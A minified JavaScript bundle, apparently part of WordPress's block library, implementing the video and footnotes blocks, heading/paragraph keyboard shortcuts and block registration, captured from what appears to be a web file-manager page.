0}),f();return}if((0,Mpe.isBlobURL)(B.url)){f(B.url);return}a({blob:void 0,src:B.url,id:B.id,poster:B.image?.src!==B.icon?B.image?.src:void 0,caption:B.caption}),f()}function _(B){if(B!==m){let D=(0,zpe.prependHTTPS)(B),M=Hu({attributes:{url:D}});if(M!==void 0&&i){i(M);return}a({blob:void 0,src:D,id:void 0,poster:void 0}),f()}}let{createErrorNotice:x}=(0,Ape.useDispatch)(Rpe.store);function k(B){x(B,{type:"snackbar"})}let S=B=>(0,mr.jsx)(Ym.Placeholder,{className:"block-editor-media-placeholder",withIllustration:!e,icon:wf,label:(0,my.__)("Video"),instructions:(0,my.__)("Drag and drop a video, upload, or choose from your library."),children:B}),C=w(r,{"is-transient":!!d}),E=(0,dn.useBlockProps)({className:C});return!m&&!d?(0,mr.jsx)("div",{...E,children:(0,mr.jsx)(dn.MediaPlaceholder,{icon:(0,mr.jsx)(dn.BlockIcon,{icon:wf}),onSelect:y,onSelectURL:_,accept:"video/*",allowedTypes:xR,value:t,onError:k,placeholder:S})}):(0,mr.jsxs)(mr.Fragment,{children:[e&&(0,mr.jsxs)(mr.Fragment,{children:[(0,mr.jsx)(dn.BlockControls,{children:(0,mr.jsx)(Lpe,{tracks:p,onChange:B=>{a({tracks:B})}})}),(0,mr.jsx)(dn.BlockControls,{group:"other",children:(0,mr.jsx)(dn.MediaReplaceFlow,{mediaId:s,mediaURL:m,allowedTypes:xR,accept:"video/*",onSelect:y,onSelectURL:_,onError:k,onReset:()=>y(void 0),variant:"toolbar"})})]}),(0,mr.jsx)(dn.InspectorControls,{children:(0,mr.jsxs)(Ym.__experimentalToolsPanel,{label:(0,my.__)("Settings"),resetAll:()=>{a({autoplay:!1,controls:!0,loop:!1,muted:!1,playsInline:!1,preload:"metadata",poster:void 0})},dropdownMenuProps:h,children:[(0,mr.jsx)(Bpe,{setAttributes:a,attributes:t}),(0,mr.jsx)(Zk,{poster:u,onChange:B=>a({poster:B?.url})})]})}),(0,mr.jsxs)("figure",{...E,children:[(0,mr.jsx)(Ym.Disabled,{isDisabled:!e,children:(0,mr.jsx)("video",{controls:c,poster:u,src:m||d,ref:l,children:(0,mr.jsx)(e0,{tracks:p})})}),!!d&&(0,mr.jsx)(Ym.Spinner,{}),(0,mr.jsx)(ha,{attributes:t,setAttributes:a,isSelected:e,insertBlocksAfter:n,label:(0,my.__)("Video caption text"),showToolbarButton:e&&b})]})]})}var Vpe=v6e;var nf=o(T(),1);var a0=o(v(),1);function Fpe({attributes:e}){let{autoplay:t,caption:r,controls:a,loop:n,muted:i,poster:l,preload:s,src:c,playsInline:u,tracks:m}=e;return(0,a0.jsxs)("figure",{...nf.useBlockProps.save(),children:[c&&(0,a0.jsx)("video",{autoPlay:t,controls:a,loop:n,muted:i,poster:l,preload:s!=="metadata"?s:void 0,src:c,playsInline:u,children:(0,a0.jsx)(e0,{tracks:m})}),!nf.RichText.isEmpty(r)&&(0,a0.jsx)(nf.RichText.Content,{className:(0,nf.__experimentalGetElementClassName)("caption"),tagName:"figcaption",value:r})]})}var L8=o(Tr(),1),_R=o(U(),1),b6e={from:[{type:"files",isMatch(e){return e.length===1&&e[0].type.indexOf("video/")===0},transform(e){let t=e[0];return(0,_R.createBlock)("core/video",{blob:(0,L8.createBlobURL)(t)})}},{type:"shortcode",tag:"video",attributes:{src:{type:"string",shortcode:({named:{src:e,mp4:t,m4v:r,webm:a,ogv:n,flv:i}})=>e||t||r||a||n||i},poster:{type:"string",shortcode:({named:{poster:e}})=>e},loop:{type:"string",shortcode:({named:{loop:e}})=>e},autoplay:{type:"string",shortcode:({named:{autoplay:e}})=>e},preload:{type:"string",shortcode:({named:{preload:e}})=>e}}},{type:"raw",isMatch:e=>e.nodeName==="P"&&e.children.length===1&&e.firstChild.nodeName==="VIDEO",transform:e=>{let t=e.firstChild,r={autoplay:t.hasAttribute("autoplay")?!0:void 0,controls:t.hasAttribute("controls")?void 0:!1,loop:t.hasAttribute("loop")?!0:void 0,muted:t.hasAttribute("muted")?!0:void 0,preload:t.getAttribute("preload")||void 0,playsInline:t.hasAttribute("playsinline")?!0:void 0,poster:t.getAttribute("poster")||void 0,src:t.getAttribute("src")||void 0};return(0,L8.isBlobURL)(r.src)&&(r.blob=r.src,delete r.src),(0,_R.createBlock)("core/video",r)}}]},Ope=b6e;var{fieldsKey:y6e,formKey:x6e}=Z(Hpe.privateApis),{name:jpe}=Jg,A8={icon:wf,example:{attributes:{src:"https://upload.wikimedia.org/wikipedia/commons/c/ca/Wood_thrush_in_Central_Park_switch_sides_%2816510%29.webm",caption:(0,M8.__)("Wood thrush singing in Central Park, NYC.")}},transforms:Ope,deprecated:Ppe,edit:Vpe,save:Fpe};window.__experimentalContentOnlyInspectorFields&&(A8[y6e]=[{id:"video",label:(0,M8.__)("Video"),type:"media",Edit:{control:"media",allowedTypes:["video"],multiple:!1},getValue:({item:e})=>({id:e.id,url:e.src,caption:e.caption,poster:e.poster}),setValue:({value:e})=>({id:e.id,src:e.url,caption:e.caption,poster:e.poster})},{id:"caption",label:(0,M8.__)("Caption"),type:"text",Edit:"rich-text"}],A8[x6e]={fields:["video","caption"]});var _6e=()=>N({name:jpe,metadata:Jg,settings:A8});var TR={};q(TR,{init:()=>S6e,metadata:()=>R8,name:()=>V8,settings:()=>Ype});var Qpe=o(Wu(),1);var lf=o(T(),1),Upe=o(Y(),1),py=o(I(),1),wR=o(A(),1);var gl=o(v(),1);function Gpe({context:{postType:e,postId:t}}){let[r,a]=(0,Upe.useEntityProp)("postType",e,"meta",t),n=typeof r?.footnotes=="string",i=r?.footnotes?JSON.parse(r.footnotes):[],l=(0,lf.useBlockProps)();return n?i.length?(0,gl.jsx)("ol",{...l,children:i.map(({id:s,content:c})=>(0,gl.jsxs)("li",{onMouseDown:u=>{u.target===u.currentTarget&&(u.target.firstElementChild.focus(),u.preventDefault())},children:[(0,gl.jsx)(lf.RichText,{id:s,tagName:"span",value:c,identifier:s,onFocus:u=>{u.target.textContent.trim()||u.target.scrollIntoView()},onChange:u=>{a({...r,footnotes:JSON.stringify(i.map(m=>m.id===s?{content:u,id:s}:m))})}})," ",(0,gl.jsx)("a",{href:`#${s}-link`,children:"\u21A9\uFE0E"})]},s))}):(0,gl.jsx)("div",{...l,children:(0,gl.jsx)(wR.Placeholder,{icon:(0,gl.jsx)(lf.BlockIcon,{icon:zi}),label:(0,py.__)("Footnotes"),instructions:(0,py.__)("Footnotes found in blocks within this document will be displayed here.")})}):(0,gl.jsx)("div",{...l,children:(0,gl.jsx)(wR.Placeholder,{icon:(0,gl.jsx)(lf.BlockIcon,{icon:zi}),label:(0,py.__)("Footnotes"),instructions:(0,py.__)("Footnotes are not supported here. Add this block to post or page content.")})})}var R8={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/footnotes",title:"Footnotes",category:"text",description:"Display footnotes added to the page.",keywords:["references"],textdomain:"default",usesContext:["postId","postType"],supports:{anchor:!0,__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!1,color:!1,width:!1,style:!1}},color:{background:!0,link:!0,text:!0,__experimentalDefaultControls:{link:!0,text:!0}},html:!1,multiple:!1,reusable:!1,inserter:!1,spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},style:"wp-block-footnotes"};var CR=o(I(),1);var $pe=o(Wu(),1),ku=o(T(),1),n0=o(z(),1),qpe=o(Y(),1),z8=o(U(),1);var Zpe=o(v(),1),SR="core/footnote",{usesContextKey:w6e}=Z(ku.privateApis),Wpe="core/post-content",C6e="core/block",Kpe={title:(0,CR.__)("Footnote"),tagName:"sup",className:"fn",attributes:{"data-fn":"data-fn"},interactive:!0,contentEditable:!1,[w6e]:["postType","postId"],edit:function({value:t,onChange:r,isObjectActive:a,context:{postType:n,postId:i}}){let l=(0,n0.useRegistry)(),{getSelectedBlockClientId:s,getBlocks:c,getBlockRootClientId:u,getBlockName:m,getBlockParentsByBlockName:p}=l.select(ku.store),d=(0,n0.useSelect)(b=>{if(!b(z8.store).getBlockType("core/footnotes"))return!1;let y=b(ku.store).getSettings().allowedBlockTypes;if(y===!1||Array.isArray(y)&&!y.includes("core/footnotes")||typeof b(qpe.store).getEntityRecord("postType",n,i)?.meta?.footnotes!="string")return!1;let{getBlockParentsByBlockName:x,getSelectedBlockClientId:k,getBlockName:S}=b(ku.store),C=k();if(!C||S(C)===V8)return!1;let E=x(C,C6e);return!E||E.length===0},[n,i]),{selectionChange:f,insertBlock:h}=(0,n0.useDispatch)(ku.store);if(!d)return null;function g(){l.batch(()=>{let b;if(a)b=t.replacements[t.start]?.attributes?.["data-fn"];else{b=tu();let S=(0,$pe.insertObject)(t,{type:SR,attributes:{"data-fn":b},innerHTML:`<a href="#${b}" id="${b}-link">*</a>`},t.end,t.end);S.start=S.end-1,r(S)}let y=s(),_=p(y,Wpe),x=_.length?c(_[0]):c(),k=null;{let S=[...x];for(;S.length;){let C=S.shift();if(C.name==="core/footnotes"){k=C;break}S.push(...C.innerBlocks)}}if(!k){let S=u(y);for(;S&&m(S)!==Wpe;)S=u(S);k=(0,z8.createBlock)("core/footnotes"),h(k,void 0,S)}f(k.clientId,b,0,0)})}return(0,Zpe.jsx)(ku.RichTextToolbarButton,{icon:zi,title:(0,CR.__)("Footnote"),onClick:g,isActive:a})}};var{name:V8}=R8,Ype={icon:zi,edit:Gpe},S6e=()=>{(0,Qpe.registerFormatType)(SR,Kpe),N({name:V8,metadata:R8,settings:Ype})};function PR(e){return e&&"__experimental"in e&&e.__experimental!==!1}var ede=o(j(),1),dy=o(z(),1),wc=o(Jpe(),1),BR=o(I(),1),tde=o(U(),1),IR=o(T(),1);function T6e(){let{registerShortcut:e}=(0,dy.useDispatch)(wc.store),{replaceBlocks:t}=(0,dy.useDispatch)(IR.store),{getBlockName:r,getSelectedBlockClientId:a,getBlockAttributes:n}=(0,dy.useSelect)(IR.store),i=(l,s)=>{l.preventDefault();let c=a();if(c===null)return;let u=r(c),m=u==="core/paragraph",p=u==="core/heading";if(!m&&!p)return;let d=s===0?"core/paragraph":"core/heading",f=n(c);if(m&&s===0||p&&f.level===s)return;let h={content:f.content},g=f.textAlign||f.style?.typography?.textAlign;d==="core/heading"&&(h.level=s),g&&(h.style={typography:{textAlign:g}}),t(c,(0,tde.createBlock)(d,h))};return(0,ede.useEffect)(()=>{e({name:"core/block-editor/transform-heading-to-paragraph",category:"block-library",description:(0,BR.__)("Transform heading to paragraph."),keyCombination:{modifier:"access",character:"0"},aliases:[{modifier:"access",character:"7"}]}),[1,2,3,4,5,6].forEach(l=>{e({name:`core/block-editor/transform-paragraph-to-heading-${l}`,category:"block-library",description:(0,BR.__)("Transform paragraph to heading."),keyCombination:{modifier:"access",character:`${l}`}})})},[e]),(0,wc.useShortcut)("core/block-editor/transform-heading-to-paragraph",l=>i(l,0)),(0,wc.useShortcut)("core/block-editor/transform-paragraph-to-heading-1",l=>i(l,1)),(0,wc.useShortcut)("core/block-editor/transform-paragraph-to-heading-2",l=>i(l,2)),(0,wc.useShortcut)("core/block-editor/transform-paragraph-to-heading-3",l=>i(l,3)),(0,wc.useShortcut)("core/block-editor/transform-paragraph-to-heading-4",l=>i(l,4)),(0,wc.useShortcut)("core/block-editor/transform-paragraph-to-heading-5",l=>i(l,5)),(0,wc.useShortcut)("core/block-editor/transform-paragraph-to-heading-6",l=>i(l,6)),null}var rde=T6e;var ER={};mF(ER,{BlockKeyboardShortcuts:rde,NAVIGATION_OVERLAY_TEMPLATE_PART_AREA:Ks,NavigationLinkUI:L3});var F8=o(v(),1),lde=()=>{let e=[KD,gN,oN,qE,SN,RN,sM,jB,UB,GB,WB,$B,rI,sI,mI,dI,gI,wI,SI,BI,MI,fE,hE,kE,TE,XE,lN,PN,vN,_N,UN,GN,WN,ED,VD,UD,MD,BL,IL,cM,mM,vM,bM,xM,SA,PA,BA,HA,ZA,fR,yR,kR,TR,CD,TD,BD,kM,BM,SM,GL,JA,ZB,CL,gL,yL,dL,nL,iL,sL,cL,pL,fL,kL,xL,_L,wL,ZL,QL,YL,JL,WL,iM,uM,DI,AI,RI,VI,FI,OI,jI,QI,$I,ZI,KI,GI,mL,UA,aN,mN,zN,DD,oR,nR,iR,pR,dR,oM,lL,oI];return window?.__experimentalEnableFormBlocks&&(e.push(NE),e.push(LE),e.push(AE),e.push(RE)),window?.__experimentalEnableBlockExperiments&&(e.push(EA),e.push(GA),e.push(WA),e.push($A),e.push(NA),e.push(tL),e.push(oL)),window?.wp?.oldEditor&&(window?.wp?.needsClassicBlock||!window?.__experimentalDisableTinymce||new URLSearchParams(window?.location?.search).get("requiresTinymce"))&&e.push(bI),e.filter(Boolean)},sde=()=>lde().filter(({metadata:e})=>!PR(e)),P6e=(e=sde())=>{e.forEach(({init:t})=>t()),window.__unstableAutoRegisterBlocks&&window.__unstableAutoRegisterBlocks.forEach(t=>{let r=Z((0,ade.select)(vl.store)).getBootstrappedBlockType(t);(0,vl.registerBlockType)(t,{...r,title:r?.title||t,...(r?.apiVersion??0)<3&&{apiVersion:3},edit:function({attributes:n}){let i=(0,ode.useDisabled)(),l=(0,nde.useBlockProps)({ref:i}),{content:s,status:c,error:u}=(0,ide.useServerSideRender)({block:t,attributes:n});return c==="loading"?(0,F8.jsx)("div",{...l,children:(0,fy.__)("Loading\u2026")}):c==="error"?(0,F8.jsx)("div",{...l,children:(0,fy.sprintf)((0,fy.__)("Error loading block: %s"),u)}):(0,F8.jsx)(no,{wrapperProps:l,html:s})},save:()=>null})}),(0,vl.setDefaultBlockName)(_w),window.wp&&window.wp.oldEditor&&e.some(({name:t})=>t===A1)&&(0,vl.setFreeformContentHandlerName)(A1),(0,vl.setUnregisteredTypeHandlerName)(kv),(0,vl.setGroupingBlockName)(O5)},B6e=({enableFSEBlocks:e}={})=>{let t=[e?"fse":null];lde().filter(({metadata:r})=>PR(r)).filter(({metadata:{__experimental:r}})=>r===!0||t.includes(r)).forEach(({init:r})=>r())};return wde(I6e);})();
/*! Bundled license information:

fast-average-color/dist/index.esm.js:
  (*! Fast Average Color | © 2022 Denis Seleznev | MIT License | https://github.com/fast-average-color/fast-average-color *)
*/
//# sourceMappingURL=index.min.js.map

← Back to Directory Edit File 🔒 Chmod

WP File Manager